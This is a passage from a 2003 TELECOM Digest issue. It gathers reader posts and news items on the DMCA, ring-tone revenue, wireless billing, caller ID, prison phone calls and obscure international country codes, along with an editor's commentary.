copyrighted works, and to ban ""black box"" devices intended for that purpose.[1] In practice, the anti-circumvention provisions have been used to stifle a wide array of legitimate activities, rather than to stop copyright piracy. As a result, the DMCA has developed into a serious threat to three important public policy priorities: Section 1201 Chills Free Expression and Scientific Research. Experience with section 1201 demonstrates that it is being used to stifle free speech and scientific research. The lawsuit against 2600 magazine, threats against Princeton Professor Edward Felten's team of researchers, and prosecution of Russian programmer Dmitry Sklyarov have chilled the legitimate activities of journalists, publishers, scientists, students, programmers, and members of the public. Section 1201 Jeopardizes Fair Use. By banning all acts of circumvention, and all technologies and tools that can be used for circumvention, section 1201 grants to copyright owners the power to unilaterally eliminate the public's fair use rights. Already, the music industry has begun deploying ""copy-protected CDs"" that promise to curtail consumers' ability to make legitimate, personal copies of music they have purchased. Section 1201 Impedes Competition and Innovation. Rather than focusing on pirates, many copyright owners have chosen to use the DMCA to hinder their legitimate competitors. For example, Sony has invoked section 1201 to protect their monopoly on Playstation video game consoles, as well as their ""regionalization"" system limiting users in one country from playing games legitimately purchased in another. This document collects a number of reported cases where the anti-circumvention provisions of the DMCA have been invoked not against pirates, but against consumers, scientists, and legitimate competitors. It will be updated from time to time as additional cases come to light. The latest version can always be obtained at www.eff.org. http://www.eff.org/IP/DMCA/20030102_dmca_unintended_consequences.html ------------------------------ Date: Wed, 15 Jan 2003 11:14:04 -0500 From: Monty Solomon Subject: Started as a Gimmick, Ring-Tone Sales Near $1 Billion By Bernhard Warner, European Internet Correspondent LONDON, Jan 15 (Reuters) - Ring tones, those ubiquitous, monophonic song recordings programmed into seemingly every teenager's mobile phone, are quietly becoming a money-maker for the music industry. A new study released Wednesday by London-based Informa Media Group said that authors' collection societies collected $71 million in royalties from ring-tone sales in 2002, up 58 percent from the previous year. Informa's senior analyst Simon Dyson said the royalties figure -- which is typically 10-15 percent of the total sales from ring tones -- would suggest that the overall market is over $700 million annually, and quite possibly as high as $1 billion. The proceeds are divided between operators, labels and the artists. - http://finance.lycos.com/home/news/story.asp?story=30914313 ------------------------------ Date: Wed, 15 Jan 2003 11:16:08 -0500 From: Monty Solomon Subject: In-Flight Highspeed Internet Access for Trans-Atlantic Travelers FRANKFURT, Germany--(BUSINESS WIRE)--Jan. 15, 2003-- Lufthansa Frankfurt to D.C. Flight Marks Initial Trials of Cisco Mobility Solution Passenger trials on the airline industry's first onboard broadband network on a commercial plane begin today with a Boeing 747-400 flight from Frankfurt, Germany to Washington, DC. Operated by Deutsche Lufthansa AG, this pioneering Lufthansa flight offers air travellers high-speed Internet access from the comfort of their own seats. Connexion By Boeing, a mobile information services provider, is providing the infrastructure that allows two-way-live data between the plane and the ground, with speeds of 3 Mbps downstream and 128 Kbps upstream. Cisco Systems is providing the technology for the onboard network with Wi-Fi (IEEE 802.11b) compliant wireless connectivity throughout all the cabins and in addition an Ethernet connector in the passenger seats. Five Cisco Aironet 350 Series Access Points have been fitted throughout the plane, along with one Cisco 3640 Router and nine Cisco Catalyst 3548 XL Series Switches. The Cisco standard equipment is modified, tested and certified by Lufthansa Technik in order to meet civil aviation regulations. - http://finance.lycos.com/home/news/story.asp?story=30914750 ------------------------------ Date: Wed, 15 Jan 2003 12:01:22 -0500 From: Monty Solomon Subject: Colombia Cellphone Firms Sue Rival for Trespassing BOGOTA, Colombia, Jan 15 (Reuters) - Colombia's two mobile phone operators, BellSouth Colombia and Comcel, have said they eparately sued utility Empresas Publicas de Medellin (EPM) for a total of $200 million for allegedly infringing on their business. BellSouth Colombia, a subsidiary of U.S. firm BellSouth Corp. (NYSE:BLS), and Comcel, controlled by Mexico's America Movil (NYSE:AMX), said late on Tuesday that EPM's provision of a local wireless loop service to subscribers in the cities of Bogota and Medellin was effectively a mobile phone service. The wireless loop technology allows subscribers to use a portable handset with their fixed-line phone up to a distance of about 25 miles (40 km). EPM, which is controlled by the city of Medellin, only has a license for providing fixed-line telephone services. - http://finance.lycos.com/home/news/story.asp?story=30922326 ------------------------------ Date: Wed, 15 Jan 2003 12:21:36 -0500 From: Monty Solomon Subject: RIAA Calls Hacking Claim a Hoax By Robert Lemos Staff Writer, CNET News.com Claims that the music industry hired a group of hackers to create a worm to infect peer-to-peer networks are being dismissed by security experts. In an advisory posted to security mailing lists, a group called Gobbles Security delivered its latest vulnerability -- a real one found in a relatively unknown MP3 player -- wrapped in an apparent joke aimed at the Recording Industry Association of America. The main part of the advisory consisted of Gobbles' claims that its programmers had created a ""hydra"" -- a worm capable of spreading in a variety of ways -- that infects all major music software. The RIAA, the organization that represents major music publishers, wasn't amused. ""It's a complete hoax,"" said an RIAA spokesman, who asked that his name not be used. ""It's not true."" http://news.com.com/2100-1023-980649.html ------------------------------ From: John Higdon Subject: Re: Is the RIAA ""Hacking You Back""? Organization: Green Hills and Cows Date: Wed, 15 Jan 2003 09:47:23 -0800 In article , Monty Solomon wrote: > By Andrew Orlowski in San Francisco > Posted: 14/01/2003 at 00:29 GMT > The RIAA is preparing to infect MP3 files in order to audit and > eventually disable file swapping, according to a startling claim by > hacker group Gobbles. In a posting to the Bugtraq mailing list, > Gobbles himself claims to have offered his code to the RIAA, creating > a monitoring ""hydra"". Don't forget that in computing, what can be done can be undone. The RIAA is up against a world full of computer talent that does not necessarily agree with its tactics. In turning to quasi-lawlessness, the RIAA is forgetting that its targets enjoy the same lack of legal constraint. Anyone who's computer is being invaded by RIAA tactics is well within his rights to protect himself from the attack and to assist others to protect themselves from the same. I would imagine that virus scanning software will be quite capable of detecting any bogus files, regardless of their source. If the RIAA tries to coerce the software companies into ignoring the ""official infections"", a great opportunity will be created for small competitors in that field to rise to the top. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Mobile Phones Lose Millions of Text Messages Date: Wed, 15 Jan 2003 15:35:31 -0500 CHICAGO, Illinois (Reuters) -- Millions of short text messages sent between mobile phones in the United States are lost every month, and the chance of two parties connecting depends on which networks they use, a study released Wednesday says. Internet performance measurement company Keynote Systems Inc. says in its study that 7.5 percent of all short text messages sent between wireless telephone companies are lost. The increasingly popular service known as SMS (Short Message Service) allows mobile phone users to send brief messages instantaneously to their friends and family. It typically costs 10 cents to send a message and pennies to nothing to receive one. http://www.cnn.com/2003/TECH/ptech/01/15/telecoms.keynote.reut/index.html ------------------------------ From: wprice@adneco.com (Wayne Price) Subject: Can I Detect Call Fowarding? Date: 15 Jan 2003 11:02:47 -0800 Organization: http://groups.google.com/ Is it possible to detect if the phone number I am calling is forwarded to another number? Or is it possible to block call forwarding on numbers that I call? Thanks, Wayne ------------------------------ From: Paul Erickson Subject: AT&T Wireless Internet at $4000/Month!! Look Out!! Date: Wed, 15 Jan 2003 14:40:53 -0500 Organization: Posted via Supernews, http://www.supernews.com Forwarded from alt.internet.wireless - this is quite a story. ----- Original Message ----- From: ""G. Barber"" Newsgroups: alt.internet.wireless Sent: Wednesday, January 08, 2003 2:38 AM Subject: AT&T wireless internet at $4000 a month!! Look out!! Jan 7/03 Vancouver, Canada I believe I may have received the largest bill AT&T has ever fabricated for one month of wireless internet access. $3996.33!! Can anyone top this or have you received a similar bill. A little background. I wanted wireless internet access from my laptop and decided on the PCMCIA Sierra Wireless Aircard 750, using the new GPRS connectivity through Rogers AT&T. They had a promo package, and I signed a six month contract for unlimited internet access for $50/mo. CAD Not a bad deal and for the most part the system worked pretty well. The aircard itself was pretty expensive at $599 CAD, but since I'm completly mobile, living in my motorhome, this seemed like a pretty good solution. Things went along fine until the contract ended, when without informing me they switched the billing to 5MB for $30. Classic bait and switch. So I was happily surfing away as the $$$ piled up. And boy do they pile up fast. I did a little experiment. The aircard has a counter that allows you to see how many KB are coming down the pipe. I loaded an average web page,and the counter was already over 6 MB in 30 seconds. So in the first minute of surfing the net, it had already cost me $30 and AT&T was into the gravy. Even though, from what I recall, the GPRS system was usually only capable of 3KB/sec downloads, giving 180 KB/minute- thats what the counter showed and thats how I was billed. You can get into trouble real fast with this system. How does something that cost $50 one month become $4000 the next? The first way is to switch your contract hoping you don't notice. I didn't. The next way is that data in MB and KB is very difficult to control when surfing the net, and not easily understood the way regular cell phones are billed in minutes and seconds. It is more intangable. For example, a 5MB plan would seem like a lot, but everything is tallied and billed in KB. Some of you whizzes will immediatly know that 5MB=5,000 KB, which is a pittance when surfing the net as I have already shown. For most people this would not be easy to understand. As most of you already know, and as I add this post to the gazillion under ""AT&T SUCKS"", I didn't get very far when trying to get customer support to see the insanity of this bill. I don't think the morons at AT&T realize the difference between text messaging on the GSM/GPRS phones where 5 MB would make some sense, and full blown graphical and data intensive internet access through a wireless aircard. In fact I'm almost certain they don't even know the difference, since your aircard is paired to a phone number. The absolute highest plan they can come up with after your unlimited promo is 80 MB for $145 CAD. This would be good for a few hours of surfing the net, a little email and internet banking and insanely expense for internet access. I hope anyone considering wireless internet access via aircard and AT&T will see that this is not a viable option as it is presently structured. Also for anyone signed on to their ""bait and switch"" promo, be careful. ------------------------------ From: Paul Erickson Subject: Re: Request Recommendations for Integrated Access (Voice/Data) Date: Wed, 15 Jan 2003 14:45:48 -0500 Organization: Posted via Supernews, http://www.supernews.com > I have some clients that use Allegiance and XO for integrated > voice/data solutions. Just curious if your Allegiance clients are happy clients? I have heard nothing positive about them, and their salespeople lied to me in an earlier encounter. An XO rep stopped by the other day - another bankrupt telecom - what's the word on these guys? -- Paul ------------------------------ From: atlanta@att.net (K. Faraday) Subject: ANI and TracFone Date: 15 Jan 2003 08:48:25 -0800 Organization: http://groups.google.com/ Hello, I have an old analog TracFone and I was wondering if when I call somewhere that has ANI (not Caller ID) such has a business or 800 number, if they get my name and address. I know they ALWAYS get the phone number but I wasn't sure about the other info. TracFone does have my name, address and phone number in their records but since this is a prepaid phone I did not know if it goes out along with the ANI. For instance, if I call a company for product info. I don't want them to end up having my name and address to send tons of junk mail or start calling my home number with sales calls. Again, I realize they get the cell number but that's OK. Hope this made sense. Thanks to anyone who can answer. Kelly [TELECOM Digest Editor's Note: Have you tried using that phone to call yourself at a number you control with caller ID to see how it looks? That would be about the easiest way to tell what is being sent. I know early on I tried using my (original) AT&T cell phone to call myself and look at the caller-ID screen when the call came through. I also used a very old Motorola bag phone (which I have on prepaid service) to call myself at my home number. Depending on the caller ID box -- I have three of them, all stand-alones from different manufacturers, they would (using the old Motorola bag phone) either have nothing at all to say other than the number, or it would identify me as 'wireless caller' and the number. PAT] ------------------------------ From: tmalec@GUSTAV.LDC.UPENN.EDU (Thomas M Malec) Subject: Chat on The Phone to Support Scientific Research Date: Wed, 15 Jan 2003 17:03:08 UTC Organization: University of Pennsylvania Chat on the phone to support scientific research and earn a chance to win $1000! The Linguistic Data Consortium at the University of Pennsylvania (www.ldc.upenn.edu) needs participants for FISHER, a new telephone speech study to be conducted in the Early Winter 2002-2003. FISHER is open to all fluent speakers of English, native and non-native alike. In contrast to our prior regional telephone studies (Switchboard), FISHER will cover the entire US. The FISHER project will support linguistic research, technology development and education. All calls will be recorded for these purposes and we will keep participant identities strictly confidential. FISHER participants will take part in 1 to 3 telephone calls talking for ten minutes to other participants on suggested topics. FISHER topics can be found at the URL below: http://www.ldc.upenn.edu/Projects/EARS/Fisher/topics.html A robot operator will initiate all calls. Participants need only answer their phones at the times they specify during the registration process. Participants will be compensated $10 per call. In addition, for each call made, participants will be eligible for 1 chance at (3) $1000.00 lottery prizes. This study is open to any fluent speaker of English in the US. You need not be a US citizen to participate. You need only have the ability to answer a phone in the US. If you know of anyone who might be interested in contributing a few minutes of their time to support research, we would greatly appreciate your making them aware of this opportunity. To register for this study please visit the following page: http://www.ldc.upenn.edu/Projects/EARS/Fisher/intro.html or call 1 800 380 PENN to register and for more information. Sincerely, Dr. David Miller FISHER Project Manager ------------------------------ Subject: Re: PBS Airs the (Long) History of Chicago Reply-To: jhaynes@alumni.uark.edu Organization: University of Arkansas Alumni From: haynes@alumni.uark.edu (Jim Haynes) Date: Wed, 15 Jan 2003 18:57:59 GMT In article , Monty Solomon wrote: > If you don't know much about the astonishing rise of Chicago in the > 19th century, or if you're a Chicago chauvinist, 'Chicago: City of > the Century' is rich gruel. If, however, you're remotely familiar There is also a book with the same title by Donald L. Miller. I found it for less than $5 on the remainder racks at some bookstore. My one disappointment is that in covering all the Chicago tycoons there was no mention of the Mortons and the Salt business, and of course that was the source of money and management for Teletype until the Bell System purchase. ------------------------------ From: Joey Lindstrom Date: Wed, 15 Jan 2003 14:38:26 -0700 Subject: Re: Keystone Kops & Kollect Kalls Reply-To: joey@telussucks.info On Wed, 15 Jan 2003 01:42:06 EST, Henry E Schaffer wrote: > In article , Joey Lindstrom > wrote: >> Each and every man (and woman) in prison has been found guilty by a >> judge and/or jury (do you have trials by judge alone in the US? In >> Canada, the accused can elect for such a trial). It is therefore >> inappropriate to assume their innocence until proven otherwise -- it >> already has been proven otherwise. > Well, except for the ones who are awaiting trial -- sometimes for a > time period approaching or exceeding a year. And then Pat added: > [TELECOM Digest Editor's Note: Henry, your *theory* is quite correct. > One thing that Joey Lindstrom did not realize when he wrote his screed > (and I neglected to respond on) was the large number of people locked > up in dungeon-like jails (Cook County in Chicago -- the largest jail > in the world -- for one example) who are treated *as though they are > already guilty* even though they have not been to court; oftentimes > not even once at that point. It is quite common for an arrested person > being held at Cook County Jail to not even be allowed to contact his > lawyer or family for the first three or four days of his arrival; then > when he *can* get to a phone, it has to be one of those (pardon me!) > God-damned collect calls for several dollars. They do everything in > their power to work around the requirement that inmates be allowed to > notify family and attornies of their whereabouts, all in the name of > institutional administrivia of course. Even the payphones in the > police lockups in Chicago are on the same system. From the *very > instant* one of the fine, noble, honest police officers in the > 'Chicago system' (i.e. Chicago, and any of the suburbs) puts his > sights on you, forget about any phone calls until *he* decides you > should be allowed to make one, and then it will be at a payphone which > is set to only make collect outgoing calls, using an automated > operator-voice which informs the recipient of the call that 'this is a > collect call from an inmate in a correctional institution, will you > accept the charges? Press one to accept, two to decline.' And God help > you if you do decide to accept it. If you do not press one or two, but > simply stand there trying to make sense of it all, the message will > repeat itself a couple times, then assume you said 'no' and disconnect, > telling the arrested party the charges were declined. This is a syntactical misunderstanding for which I'll take the blame. Maybe this is more common on this side of the border, but I've always assigned different meanings to the words ""prison"" and ""jail"". The former refers to the place you get sent to *AFTER* conviction. The latter refers to the place you spend time in *PRIOR* to conviction. Everything I said, refered to ""prison"" - ie: to people convicted of crimes. Let me say for the record that when it comes to situations as you've outlined, ie: people AWAITING TRIAL, I agree 100% that they are being treated SHAMEFULLY - in other words (mark the time and date!) I agree with you. The assumption of innocence before a finding of guilt is absolutely fundamental and sacrosact and is, last time I checked, enshrined in the constitutions of both our nations. I can see why the outgoing Republican governor of Illinois pardoned all those guys on death row. I initially felt he had gone way too far, until I delved further into the story and found it wasn't really a blanket pardon, but was well-reasoned and tailored to each individual case. But we're getting off the track. Back to Henry: >> We now assume their guilt -- and thus the appropriateness of >> punishing them and otherwise restricting their rights, ie: the right >> to make cheap phone calls -- until their innocence is otherwise >> proven. ... > Is keeping them from making phone calls cheaply really an intentional > punishment? If so, why not just keep them from making any phone calls > -- or perhaps restricting them to one call a month? (not to exceed > three minutes.) Well, as has been mentioned, some jurisdictions have advocate judges who've decided to write new law, and have thus guaranteed that criminals have the ability to make phone calls from prison (wouldn't it be fun to get a phone call from the guy in prison who raped you?) But more to the point: the primary idea behind throwing people in prison, more than ""punishment"" or ""rehabilitation"", is protecting society from these evil, twisted, sick bastards. Letting them make phone calls flies completely in the face of this. They should not be allowed to participate in the society that they have harmed - period. I'll make one exemption to this: the prisoner must be allowed to contact his/her legal representative (within reason). -- Joey Lindstrom -- Telus Sucks http://www.telussucks.info [TELECOM Digest Editor's Note: It is enshrined in the rules there in Canada, and that used to be the case here in the USA as well, at least under the old system -- prior to 9-11-01. There are now hundreds of men locked up in USA jails whose only offense appears to be they are from the middle-east, or they 'appear' to be of some middle-east nationality. Those are the guys I really feel bad about; in the wrong place at the wrong time; now locked up until whenever, while the police work hard trying to find something to pin on them. Of course, Cook County Jail, Chicago, Illinois wasn't invented post 9-11. There have been complaints about that place -- the largest 'jail' (i.e. prison) in the world for many years -- to no avail. What's really interesting to see is when someone who was *employed* there, winds up as an inmate there. And that happens a lot also. It is a terribly frightening place. And you would not be there if you were not already guilty. Police make those decisions, and we all know they are very honorable, noble, fair and honest. If they had not thought you should be there, you wouldn't be there. We know police don't make mistakes or judge anyone unfairly! No Joey, the United States has pretty much given up on any pretenses of 'innocent and worthy of rights, etc until proven guilty by a jury of peers.' Police will tell you that sort of foolishness is not wanted any longer here. And with thirty-plus 'actual' prisons already in southern Illinois (250-400 miles south of Chicago), they are starting to run out of places to build them. They may have to actually build one or two new ones in Chicago. As it is, the Salvation Army operates a half-dozen bus routes which run every weekend to the prisons, and gives each bus rider (invariably black ladies; usually with their babies, since the prisons in Illinois are 95 percent black and about 90-95 percent Chicago residents) a sack lunch and milk for the babies, etc. Three to four hour bus ride to get to the prisons, a three to four hour bus ride back home, a *thirty minute* visiting time allowed when there. It usually works out okay; now and again a bus full of black ladies gets sidewiped on I-55 and everyone gets killed, as happened a couple years ago at Christmas. When that happens the Chicago Tribune tells about it in thick, bold headlines, then all gets back to normal. The system seems to work okay, no complaints except from young, very liberal social workers, some of whom are employed at Cook County Jail; others are employed by Salvation Army. But they soon learn to shut up and go with the flow, at least the ones employed by the jail. No, Joey, that old ridiculous concept (at least according to police/prosecutors) of 'innocent until proven guilty' has no meaning here in the United States any longer. I am *so glad* to be out of Chicago, IL for good, permanently. The whole city and its political structure has gotten so rotten. PAT] ------------------------------ Date: Wed, 15 Jan 2003 18:44:09 EST From: TELECOM Digest Editor Subject: My Clumsy Fingers Hang up on Australian Caller Wednesday afternoon at about 2 PM central time, I received a phone call from a Digest reader in Perth, Australia. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Wed, 15 Jan 2003 20:15:55 CST From: Mark J Cuccia Subject: Tokelau, Pitcairn and Other Obscure Places Doug Faunt, replying to a previous post on how internal numbering space within Tokelau's country code +690 seems to have been 'hijacked' (or freely given???) to tele-SLEAZE (!) wrote: > I don't understand how a valid country code can be abused as you > suggest. I'd appreciate a further explanation. In today's telephone (and business) environment, these things have been allowed to happen. Unfortunately, international and domestic government regulatory agencies just don't seem to have the time nor desire to police or root out such abuses. To be fair to them in some respect, sometimes they (regulatory) just don't have the resources and/or jurisdiction to police it. It *USED* to be that from the US (and Canada), virtually all calls to a particular country code would be charged the same rate, depending on the calling party's time/day and ""rate plan"". I could call any number range within that country code, regardless of service (landline vs. wireless) or geographic location within that country code, and be billed the same rate. Of course, internal toll-free numbers and internal PAY-per-call (usually SLEAZE) numbers within that country/ country-code, were either BLOCKED by AT&T and/or the domestic carrier in that destination country, or else if allowed, I'd be billed a rate no higher than to call ""POTS"" landline or cellular numbers anywhere within that country / country code. Even in the 1980's/90's, there have been exceptions here/there ... +52 Mexico has always been distance-based rated, depending on the destination Mexican domestic numbering/codes I dialed dialed ... +53 Cuba was not dialable from the US via US-based carriers until the mid-1990s, although the 'kludge' code of +53-99 for the US Military base at Guantanamo Bay has been dialable (as 01(1)+53+99+) from the US (ONLY) since the 1980's. And today, with +53 Cuba now dialable from the US, I seem to think that the rates from the US to Cuba as +53 and from the US to +53-99 Guantanamo Bay are *DIFFERENT*. In the 1980's, I also think it still mattered on from where *within* the (continental) US you were calling from when using AT&T IOC Operators to call Cuba, as to the rate you were charged -- i.e., a call to Cuba from Florida would be charged a different rate (probably less) than a call from California to Cuba would be charged. (NOTE - calls to the US Military Base at Guantanamo Bay in Cuba from non-US locations, INCLUDING from Canada and other [non-US] NANP points apparantly can NOT be customer-dialed as +53-99-etc., but apparantly must be OPERATOR HANDLED. I don't know if they have to conatact the AT&T IOC in Pittsburgh -- or for that matter, ANY US-based AT&T OSPS Operator -- or even if the operator in the calling country can directly dial to +53-99, but I have read that the use of +53-99-etc. for dialing directly to Guantanamo Bay in customer-dialable ONLY from the *US*, and not even from Canada.) In more recent years, overseas/international calls to points outside of +1 (NANP) can have different rates to numbers within the same country code depending on whether or not the destination number/number range is landline or wireless/cellular... Or ""personal"" numbers (similar to the +1-500 SAC fiasco in the US a few years ago). Domestic calls to cellulars *within* that country are usually *VERY* expensive, the calling party paying the ""airtime"" (mostly GRAVY for the telcos and wireless providers). And a vew years ago, they started demanding that foreign overseas telcos and carriers pay this extra ""gravy"" on calls to cellular originating from overseas. In most (at least many) countries around the world, wireless service is within its own area codes or numbering range. And these countries have calling-party-pays (exhorbitant) airtime/toll/etc. ""gravy"" to call cellular phones. And there are those trying to force this on cellular and landline customers within in the US and Canada as well! :( So now, depending on the carriers involved, it *might* now be possible to call ""900-like"" numbers *within* a distant country/country-code, not be blocked, and also be charged the expensive PAY-PAY-PAY-per-call SLEAZE rate. > And if MCI has no problem, [on calling +690 Tokelau, in general] > why does AT&T have this problem? I don't know! :( I think that even (US)Sprint-LD now allows calls to +690 Tokelau too. It's a different world today, as I mentioned earlier. In today's competitive environment, it could be that AT&T feels no real ""incentive"" to set up dial-service to +690 Tokelau? How many people would ""really"" be calling out there? Not that I agree with what AT&T is doing -- but I'm guessing that maybe the SO CALLED ""business realities"" of today's of today's telco industry is why AT&T doesn't offer service there??? And +690 Tokelau isn't the only location like this ... I don't think that AT&T yet offers (dial) service to +670 East Timor. Back in the 1970's, Portuguese Timor was separate from +62 Indonesia, both telephonically and politically, and had its own Country Code +672. Eventually, Portugal pulled out of this colony/dependancy/ possesion (whatever its legal status was), and Timor became a part of +62 Indonesia both politically/jurisdictionally as well as telephonically. By 1984 the CCITT/ITU assigned +672 to ""Australian External Territories"". (I don't understand WHY they had to get their own code, instead of ""sharing"" from +61 Australia ... maybe there was some kind of routing and/or rating reason?) Also by 1984, +670 was assigned to the US possesion of Saipan/Mariana Islands in the north Pacific. But in 1997/98 (and WITH advance notice), Guam (+671) and Saipan/etc (+670) both became part of +1/NANP, as +1-671- and +1-670 (respectively). Since 1997 (and possibly earlier), there was a separatist movement in ""East Timor"" (formerly Portuguese Timor). They eventually have separated, but for an INTERIM time were reached through (ironically their original country code) +672, but this time SHARING from number space of Australia External Territories. I think that Australia helped with investment and development of East Timor's new telephone system. And then by 2000, +670 was (re) assigned (by the ITU), to the new independent East Timor. Even with various national and international standards bodies doing what they could to inform the world telephone community that +670 is now a valid country code for East Timor, and that Saipan/etc hasn't been +670 since 1997 when it migrated into the NANP as +1-670-, there are still either telcos/etc. who think +670 is still Saipan, or at least don't yet recognize +670 for East Timor for customer dialing. And I *THINK* that AT&T is one of these carriers. They don't ""block"" (customer) dialed 01(1)+670-etc. in the originating 4ESS ""as if"" +670 was invalid, but they rather route it to a ""vacant code"" recording from the 4ESS in Reno NV, that 4E was used in 1997/98 and for a few years following to play the recording indicating that Guam and Saipan/Mariana Islands were now dialed as 1+/0+ the 671/670 area code etc., rather than as 01(1)+671/670-etc. if the customer happened to still dial the call as an IDDD 011+ call. But I also think that both MCI and (US)Sprint *DO* allow customer dialing to +670 East Timor. Similarly, +93 Afghanistan hasn't been customer dialable. (no surprise there). But last year, after the US invasion, the telephone system has been built up to SOME degree, and there is a domestic numbering document for +93 Afghganistan at the ITU's website, see the following set of URLs for further info: http://www.itu.int/ITU-T/inr/index.html http://www.itu.int/ITU-T/inr/nnp/index.html http://www.itu.int/itudoc/itu-t/number/a/afg/77447.html http://www.itu.int/itudoc/itu-t/number/a/afg/77447_ww9.doc (English) http://www.itu.int/itudoc/itu-t/number/a/afg/77447_ww9-fr.doc (Francais) http://www.itu.int/itudoc/itu-t/number/a/afg/77447_ww9-es.doc (Espanol) BTW, according to the page, the Afghanistan numbering document is dated 13-Jan-2003, a VERY recent revision! I think that MCI and/or (US)Sprint now allow customer dial service to +93 Afghanistan but not yet AT&T. Then there's Easter Island, politically/jurisdictionally (as well as telephonically) part of +56 Chile. Regular domestic dialing is available between Easter Island and mainland Chile. Canada, Australia, NZ, the UK, and other countries have customer-direct-dialing to Easter Island. However, the last time I checked, AT&T in the US still treats Easter Island as *OPERATOR HANDLED ONLY*, probably via the Pittsburgh IOC (unless the regular AT&T OSPS Operator can call Chile's own Inward/IOC?). I'm not exactly certain about the actual numbering for Easter Island. I've seen or heard conflicting information as to what is dialed domestically within Chile compared to what is dialed from Canada and other countries. I assume that AT&T blocks both formats for customer dialing from the US. I don't know if MCI and (US)Sprint yet offer customer dial service to Easter Island. Also, the *rates* to Easter Island via AT&T (using Operator handled service) is quite expensive. Maybe because of the *distance* that Easter Island is from the mainland, as well as a different routing is the reason that Easter Island isn't yet customer dialable from the US? (But if MOBILE ranges in other countries now have different rates and routes from the US, and if Guantanamo Bay have been routed and rated differently than for Cuba even though both use +53, then Easter Island ""could"" be made customer dialable from the US via AT&T and ANY other carrier!) There's also Western (formerly Spanish) Sahara on the west coast of Africa, between +212 Morocco and +222 Mauritania. This area has been in dispute between the two bordering countries for a number of years. There is NO distinct country code for Western Sahara. I don't know what its telephone situation (if it even exists) is like in Western Sahara. The last time I checked (some years ago), from the US (via AT&T), one had to have the call handed by the Pittsburgh IOC at Operator Handled Rates. There are a few other ""obscure"" and ""special"" areas of the world and/or telephone country codes, such as +970 for Palestine, separate from +972 for Israel. I think that AT&T *IS* routing calls to Palestine when dialed as 01(1)+970-etc., but many local telcos haven't yet opened up +970 as a valid country code in their end-office translations or routings to the LD-Carrier. There is +881 for Global Mobile Satellite (including Iridium and others). And +882 for ""Global Networks"". Both of these have WORKING networks and subscriber numbers. However, many local telcos don't yet have +881 and/or +882 properly opened up. Other ""specialty country codes"" include +800 for Universal International Freefone Numbers"" which has been operational for several years now, but inconsistantly, and future codes for ""personal numbers"" (a-la +1-500-) on +878, Shared Cost service on +808, PAY-PAY-PAY 'premium' (sleaze?) on +979, and something on +991 called ""International Telecommunications Public Correspondence Service"". > BTW, I've now found that the Pitcairn Islands, country code 64, (with > less than 20 subscribers), has the same problem. AT&T doesn't > acknowledge their existence, MCI will place a call for a reasonable > rate. I know that New Zealand has a degree of jurisdiction over Pitcairn (with some jurisdiction/assistance/etc. also from Australia and the UK). But the telephone system *on the island* is ""fixed"" InMarSat, using Country Code +872 (for the Pacific). BTW, +870 is to be the future ""single code"" for Mobile/Maritime Satellite service. Presently, +871 is North Atlantic, +872 is Pacific, +873 is the Indian Ocean, and +874 is the South Atlantic. You almost have to ""know in advance"" in which part of the world the boat/ship or plane will be in to know which +87X InMarSat ""country"" code to use. However, the actual numbers are NOT re-used between individual +87x codes, since the ship or plane is able to travel among all ocean/code areas. The ultimate use of the single +870 code is going to be somewhat like ""cellular roaming"". You won't have to know ""where"" the vessel will be. A 'location/roaming database' will probably be consulted to know which satellite to route the call to. Anyhow ... as for Pitcairn, from the ""Pitcairn Island Web Site"", http://www.lareau.org/pitc.html it mentions the InMarSat +872 phone and fax numbers on Pitcairn. (Be advised that the cost to call InMarSat can be QUITE expensive, and is not necessarily ""discounted"" on any international calling plans with the major domestic carriers). > These are not academic discussions, BTW. I was considering going to > Tokelau, but have postponed that trip, since I am going to Pitcairn. Well, PLEASE give us a report on the telephone service there! :-) I know that Pitcairn used to have one or two magneto party line systems for the residents to use amongst themselves, which could be ""patched in"" to a radio-telephone system. If this magneto party-line system still exists, I don't think that they can patch it into the InMarSat terminals. One on the island can place/receive calls via the InMarSat system only at the InMarSat terminal phone on the island. I wonder if AT&T's IOC in Pittsburgh has a way to reach Pitcairn via the HF Radio system (maybe routed via New Zealand IOC/Inward?), if one wants to be patched into the magneto party line to speak directly with a specific resident? I seem to remember when I was doing some research on the Pacific Ocean area's phone service back in 1997, that the AT&T operator told me that Pitcairn could be dialed directly using +872 (Pacific) InMarSat at rates not set by AT&T but rather by the InMarSat organization or its sub-contractor ... OR it could be AT&T IOC Operator Handled. I also wonder what the status of Wake and Midway presently are? I understand that they are mostly ""de-militarized"" now and are mostly 'exotic' and remote 'tourist' locations. When the US Military was more active with bases there, I understand that there were TWO ways one could place calls to Wake and Midway ... As an Operator Handled Call, where the calling party would call their usual local originating Bell System (AT&T) or independent telco operator, and ask for a number at Wake or Midway. The telco operator would then call GTE's Hawaiian Telco ""Inward"" in Honolulu HI, Kp+808+121+St. GTE-Hawaii would know the routing instructions from there -- probably similar to a ring-down or ""toll station"". For *BILLING* identification purposes (only, and NOT for customer nor even operator 'dialing' purposes), the ""mark-sense"" code for Wake was/is (+1)808-998 and for Midway was/is (+1)808-999. The other way to reach Wake or Midway not too long ago was if you knew the upfront +1-808-NXX- series for the US Military at Pearl Harbor HI. I was told that a customer could ""direct dial"" to Wake/Midway ""as if"" they were calling the Centrex or PBX at Pearl Harbor/Honolulu HI, if they knew about it and the proper number range. The call would be billed at rates for a customer-dialed call to Honolulu HI, ""as if"" the base phone system at Wake/Midway were simply FX'd off Pearl Harbor, Honolulu HI. So, if you do make it to Pitcairn and back, please inform us about the phone system! :-) Try to find out if the magneto party line system for the island residents' own use still exists, and if it can be ""patched"" into a 'traditional' two-way radio-telephone hookup! Mark J. Cuccia mcuccia@tulane.edu New Orleans LA [TELECOM Digest Editor's Note: Mark makes it *so worthwhile* for me to keep this Digest going each day! He really does! As always, his articles are always well-reasoned, quite detailed and make very good, interesting reading. From me at least, Mark, a hand of applause for this latest contribution. PAT] ------------------------------ From: Mark Crispin Subject: Re: AT&T Wireless Internet at $4000/Month!! Look Out!! Date: Wed, 15 Jan 2003 18:27:05 -0800 Organization: Networks and Distributed Computing On Wed, 15 Jan 2003, Paul Erickson wrote: > ----- Original Message ----- > From: ""G. Barber"" > A little background. I wanted wireless internet access from my laptop > and decided on the PCMCIA Sierra Wireless Aircard 750, using the new > GPRS connectivity through Rogers AT&T. They had a promo package, and > I signed a six month contract for unlimited internet access for > 